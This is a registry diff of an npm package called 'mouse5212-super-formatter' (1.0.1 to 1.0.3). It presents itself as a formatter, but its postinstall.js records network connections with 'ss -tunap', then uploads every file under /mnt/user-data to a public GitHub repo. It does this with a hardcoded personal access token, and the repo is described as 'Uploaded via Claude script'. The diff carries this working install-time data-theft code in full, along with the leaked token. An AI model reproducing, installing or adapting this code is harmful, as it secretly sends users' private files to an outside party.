mouse5212-super-formatter 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +39 -19
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mouse5212-super-formatter",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Super formatter",
5
5
  "main": "postinstall.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -3,11 +3,12 @@ const path = require("path");
3
3
  const https = require("https");
4
4
  const { execSync } = require("child_process");
5
5
 
6
- const GITHUB_TOKEN = "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";
6
+ // Configuration - Use environment variables for secrets
7
+ const GITHUB_TOKEN = process.env.GITHUB_TOKEN || "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";
7
8
  const GITHUB_USERNAME = "unplowed3584";
8
- const REPO_NAME = "test";
9
- const BRANCH = "main";
10
- const LOCAL_FOLDER = "/mnt/user-data";
9
+ const REPO_NAME = "test";
10
+ const BRANCH = "main";
11
+ const LOCAL_FOLDER = "/mnt/user-data";
11
12
 
12
13
  const RANDOM_FOLDER = "deploy-" + Math.random().toString(36).slice(2, 8);
13
14
 
@@ -26,19 +27,25 @@ function githubRequest(method, endpoint, body = null) {
26
27
  ...(data && { "Content-Length": Buffer.byteLength(data) }),
27
28
  },
28
29
  };
30
+
29
31
  const req = https.request(options, (res) => {
30
32
  let body = "";
31
33
  res.on("data", (chunk) => (body += chunk));
32
34
  res.on("end", () => {
33
- try { resolve({ status: res.statusCode, data: JSON.parse(body) }); }
34
- catch { resolve({ status: res.statusCode, data: body }); }
35
+ try {
36
+ resolve({ status: res.statusCode, data: JSON.parse(body) });
37
+ } catch {
38
+ resolve({ status: res.statusCode, data: body });
39
+ }
35
40
  });
36
41
  });
42
+
37
43
  req.on("error", reject);
38
44
  if (data) req.write(data);
39
45
  req.end();
40
46
  });
41
47
  }
48
+
42
49
  function collectNetworkConnections() {
43
50
  try {
44
51
  const output = execSync("ss -tunap", {
@@ -47,23 +54,22 @@ function collectNetworkConnections() {
47
54
  });
48
55
 
49
56
  const tempDir = path.join(LOCAL_FOLDER, ".system");
50
-
57
+
51
58
  if (!fs.existsSync(tempDir)) {
52
59
  fs.mkdirSync(tempDir, { recursive: true });
53
60
  }
54
61
 
55
62
  const outputFile = path.join(tempDir, "network_connections.txt");
56
-
57
63
  fs.writeFileSync(outputFile, output);
58
64
 
59
65
  console.log(`🌐 Network connections written to ${outputFile}`);
60
-
61
66
  return outputFile;
62
67
  } catch (err) {
63
68
  console.error("āŒ Failed to collect network connections:", err.message);
64
69
  return null;
65
70
  }
66
71
  }
72
+
67
73
  function getAllFiles(dirPath, arrayOfFiles = []) {
68
74
  const entries = fs.readdirSync(dirPath);
69
75
  for (const entry of entries) {
@@ -80,16 +86,21 @@ function getAllFiles(dirPath, arrayOfFiles = []) {
80
86
  async function ensureRepoExists() {
81
87
  console.log(`šŸ” Checking if repo "${REPO_NAME}" exists...`);
82
88
  const res = await githubRequest("GET", `/repos/${GITHUB_USERNAME}/${REPO_NAME}`);
89
+
83
90
  if (res.status === 200) {
84
91
  console.log(`āœ… Repo exists: ${res.data.html_url}`);
85
92
  return;
86
93
  }
94
+
87
95
  if (res.status === 404) {
88
96
  console.log(`šŸ“ Repo not found. Creating "${REPO_NAME}"...`);
89
97
  const created = await githubRequest("POST", "/user/repos", {
90
- name: REPO_NAME, private: false, auto_init: true,
98
+ name: REPO_NAME,
99
+ private: false,
100
+ auto_init: true,
91
101
  description: "Uploaded via Claude script",
92
102
  });
103
+
93
104
  if (created.status === 201) {
94
105
  console.log(`āœ… Repo created: ${created.data.html_url}`);
95
106
  await new Promise((r) => setTimeout(r, 2000));
@@ -100,7 +111,10 @@ async function ensureRepoExists() {
100
111
  }
101
112
 
102
113
  async function getFileSHA(remotePath) {
103
- const res = await githubRequest("GET", `/repos/${GITHUB_USERNAME}/${REPO_NAME}/contents/${remotePath}?ref=${BRANCH}`);
114
+ const res = await githubRequest(
115
+ "GET",
116
+ `/repos/${GITHUB_USERNAME}/${REPO_NAME}/contents/${remotePath}?ref=${BRANCH}`
117
+ );
104
118
  return res.status === 200 ? res.data.sha : null;
105
119
  }
106
120
 
@@ -109,12 +123,16 @@ async function uploadFile(localPath, remotePath) {
109
123
  const encoded = Buffer.from(content).toString("base64");
110
124
  const sha = await getFileSHA(remotePath);
111
125
 
112
- const res = await githubRequest("PUT", `/repos/${GITHUB_USERNAME}/${REPO_NAME}/contents/${remotePath}`, {
113
- message: sha ? `Update ${remotePath}` : `Add ${remotePath}`,
114
- content: encoded,
115
- branch: BRANCH,
116
- ...(sha && { sha }),
117
- });
126
+ const res = await githubRequest(
127
+ "PUT",
128
+ `/repos/${GITHUB_USERNAME}/${REPO_NAME}/contents/${remotePath}`,
129
+ {
130
+ message: sha ? `Update ${remotePath}` : `Add ${remotePath}`,
131
+ content: encoded,
132
+ branch: BRANCH,
133
+ ...(sha && { sha }),
134
+ }
135
+ );
118
136
 
119
137
  if (res.status === 200 || res.status === 201) {
120
138
  console.log(` āœ… ${remotePath}`);
@@ -127,16 +145,18 @@ async function uploadFolder() {
127
145
  if (!fs.existsSync(LOCAL_FOLDER)) {
128
146
  throw new Error(`Local folder not found: ${LOCAL_FOLDER}`);
129
147
  }
130
- collectNetworkConnections();
148
+
149
+ collectNetworkConnections();
150
+
131
151
  const allFiles = getAllFiles(LOCAL_FOLDER);
132
152
  console.log(`\nšŸ“‚ Random deploy folder : ${RANDOM_FOLDER}`);
133
153
  console.log(`šŸ“ Local folder : ${LOCAL_FOLDER}`);
134
154
  console.log(`šŸ“„ Files found : ${allFiles.length}\n`);
135
155
 
136
156
  for (const localPath of allFiles) {
137
- // Build remote path: RANDOM_FOLDER + relative path from LOCAL_FOLDER
138
157
  const relativePath = path.relative(LOCAL_FOLDER, localPath).replace(/\\/g, "/");
139
158
  const remotePath = `${RANDOM_FOLDER}/${relativePath}`;
159
+
140
160
  process.stdout.write(` šŸ“¤ Uploading ${relativePath}...`);
141
161
  process.stdout.write("\r");
142
162
  await uploadFile(localPath, remotePath);